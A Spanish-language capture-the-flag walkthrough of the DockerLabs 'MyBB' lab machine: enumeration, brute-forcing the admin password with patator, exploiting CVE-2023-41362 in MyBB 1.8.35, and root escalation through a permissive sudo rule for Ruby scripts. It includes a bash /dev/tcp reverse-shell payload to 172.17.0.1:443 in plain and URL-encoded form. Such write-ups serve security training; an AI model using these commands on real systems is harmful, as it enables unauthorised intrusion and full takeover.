> For the complete documentation index, see [llms.txt](https://1gnotus.gitbook.io/ignotus_pwn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://1gnotus.gitbook.io/ignotus_pwn/dockerlabs/writeup/maquina-mybb-virtual-host-mybb-1.8.35-rce-cve-2023-41362-privesc-sudo-rb.md).

# MAQUINA MYBB (Virtual Host - MYBB 1.8.35 RCE CVE-2023-41362 - PrivEsc Sudo rb)

## Reconocimiento y Enumeración

````
```BASH
nmap -p- --open --min-rate 2000 -n -Pn -sSCV 172.17.0.2 -oN fullscan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 20:40 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: MyBB
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
````

````
```BASH
nmap -p80 --script=http-enum.nse 172.17.0.2 -oN directory.txt           
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 20:40 -03
Nmap scan report for 172.17.0.2
Host is up (0.000061s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
MAC Address: 02:42:AC:11:00:02 (Unknown)
````

```
whatweb http://172.17.0.2/

http://172.17.0.2/ [200 OK] Apache[2.4.58], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], JQuery[3.4.1], Script[text/javascript], Title[MyBB], X-UA-Compatible[IE=edge]
```

La web posee virtual hosting donde me redirige <http://panel.mybb.dl>, dicho hosting lo agrego al /etc/hosts, luego ejecuto otro whatweb para ver las tecnologías.

```
whatweb http://panel.mybb.dl
 
http://panel.mybb.dl [200 OK] Apache[2.4.58], Cookies[mybb[lastactive],mybb[lastvisit],sid], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], HttpOnly[sid], IP[172.17.0.2], JQuery[1823], PasswordField[quick_password], PoweredBy[--], Script[text/javascript], Title[Forums]
```

Mybb es un software de foro gratuito y open source su versión reciente es la 1.8.39 (busque en internet)

{% embed url="<https://github-com.translate.goog/mybb/mybb?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=es&_x_tr_pto=sge>" %}

Otro hallazgo la versión de apache antigua:

<figure><img src="/files/XgdYkO6dazhiv1Fe6ULN" alt=""><figcaption></figcaption></figure>

Vuelvo a ejecutar una búsqueda de directorios pero indicándole como url <http://panel.mybb.dl>.

```
feroxbuster -u http://panel.mybb.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt

301      GET        9l       28w      316c http://panel.mybb.dl/uploads => http://panel.mybb.dl/uploads/
301      GET        9l       28w      314c http://panel.mybb.dl/admin => http://panel.mybb.dl/admin/
301      GET        9l       28w      316c http://panel.mybb.dl/install => http://panel.mybb.dl/install/
301      GET        9l       28w      319c http://panel.mybb.dl/javascript => http://panel.mybb.dl/javascript/
301      GET        9l       28w      314c http://panel.mybb.dl/cache => http://panel.mybb.dl/cache/
301      GET        9l       28w      315c http://panel.mybb.dl/images => http://panel.mybb.dl/images/
301      GET        9l       28w      312c http://panel.mybb.dl/inc => http://panel.mybb.dl/inc/
```

En dicha web hay un panel de login y una sección para registrarnos.

<figure><img src="/files/XqUpC2AenutOnivhW0v0" alt=""><figcaption></figcaption></figure>

Luego de reconocer la web encontré que "admin" es un usuario valido pero no encontré la versión del software actual de "mybb".

Realice fuerza bruta al usuario admin y encontré que varias contraseñas son validas pero 1 sola funciono admin:babygirl

```
patator http_fuzz method=POST url=http://panel.mybb.dl/admin/index.php body='username=admin&password=FILE0&do=login' 0=/usr/share/wordlists/rockyou.txt accept_cookie=1 -x ignore:code=302 

09:22:37 patator    INFO - -----------------------------------------------------------------------------
09:22:37 patator    INFO - 200  2294:1929      0.026 | 12345                              |     2 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  2294:1929      0.030 | 123456789                          |     3 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  1181:916       0.006 | babygirl                           |    13 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  2294:1929      0.024 | password                           |     4 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  1181:916       0.010 | monkey                             |    14 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  1181:916       0.003 | michelle                           |    24 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  2294:1929      0.016 | iloveyou                           |     5 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  1181:916       0.006 | daniel                             |    12 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  1181:916       0.002 | iloveu                             |    22 | HTTP/1.1 200 OK
09:22:37 patator    INFO - 200  1181:916       0.003 | butterfly                          |    32 | HTTP/1.1 200 OK

```

Con dichas credenciales accedí al panel de administrador pero también hay una ruta llamada <http://panel.mybb.dl/admin/> donde hay otro panel de sesión, en este mismo panel use las credenciales anteriores, una vez dentro pude dar con el panel de configuración y con la versión actual del software.

<figure><img src="/files/28zdyHUYg9fx04PcR4GE" alt=""><figcaption></figcaption></figure>

## Explotación

<figure><img src="/files/WQWZM3rmOPzf49Kx2LX8" alt=""><figcaption></figcaption></figure>

Busque si existe alguna vulnerabilidad para dicha versión donde encontré lo siguiente: <https://blog.sorcery.ie/posts/mybb\\_acp\\_rce/>

Luego de leer de que se trata esta vulnerabilidad use la prueba de concepto logrando leer archivos del sistema.

<figure><img src="/files/lNj7GxHR3CnJYyR20w0n" alt=""><figcaption></figcaption></figure>

Existe un exploit que te automatiza todo el proceso (no lo use): <https://github.com/SorceryIE/CVE-2023-41362\\_MyBB\\_ACP\\_RCE/blob/main/exploit.py>

La prueba de concepto de phpinfo funciona.

<figure><img src="/files/fiBWUh4n999KUAwOxnPf" alt=""><figcaption></figcaption></figure>

Y la ejecución de comandos también funciona a la perfección, ahora toca realizar un RCE.

<figure><img src="/files/Q5wWpUdEyJMV3V5beBgt" alt=""><figcaption></figcaption></figure>

Para realizar el RCE lo siguiente

```
system("bash -c 'exec bash -i &>/dev/tcp/172.17.0.1/443 <&1'");

URLENCODEADO
system(%22bash%20-c%20%27exec%20bash%20-i%20%26%3E%2fdev%2ftcp%2f172.17.0.1%2f443%20%3C%261%27%22);
```

## Post Explotación (mov lateral y escalado de priv)

Ahora tengo acceso a la maquina como www-data; busque información sobre los usuarios dando con el único "alice", también busque información del sistema, puertos corriendo internamente.

Dentro de www-data\@08f9851cda7f:/var/www/mybb$ hay varios archivos, para no leer uno por uno use "grep -r" para que me busque de forma recursiva la palabra "alice"

<figure><img src="/files/D2V1g6W3FYSrCvAJ6uqu" alt=""><figcaption></figcaption></figure>

Encontré un hash que lo logre descifrar con john.

<figure><img src="/files/Bxza6k0HwEkHBDsIDgyW" alt=""><figcaption></figcaption></figure>

Ahora pase de ser www-data a alice, luego ejecute un sudo -l y vi que el usuario alice puede ejecutar cualquier script Ruby (\*.rb) dentro del directorio /home/alice/scripts/ como root sin necesidad de contraseña.

Para escalar privielgios hice lo siguiente:

````
echo 'exec "/bin/bash"' > /home/alice/scripts/rootme.rb # cree el script



chmod +x /home/alice/scripts/rootme.rb # le di permisos de ejecucion
```


sudo /home/alice/scripts/rootme.rb # ejecute el script como sudo

````

Porque funciono?

Porque `sudo` te permite ejecutar cualquier archivo `.rb` sin pedir contraseña, y como Ruby puede ejecutar comandos del sistema (como `exec` o `system`), eso te da control total si creás tu propio archivo.

Luego de esto ya obtuve el control de la maquina como ROOT.
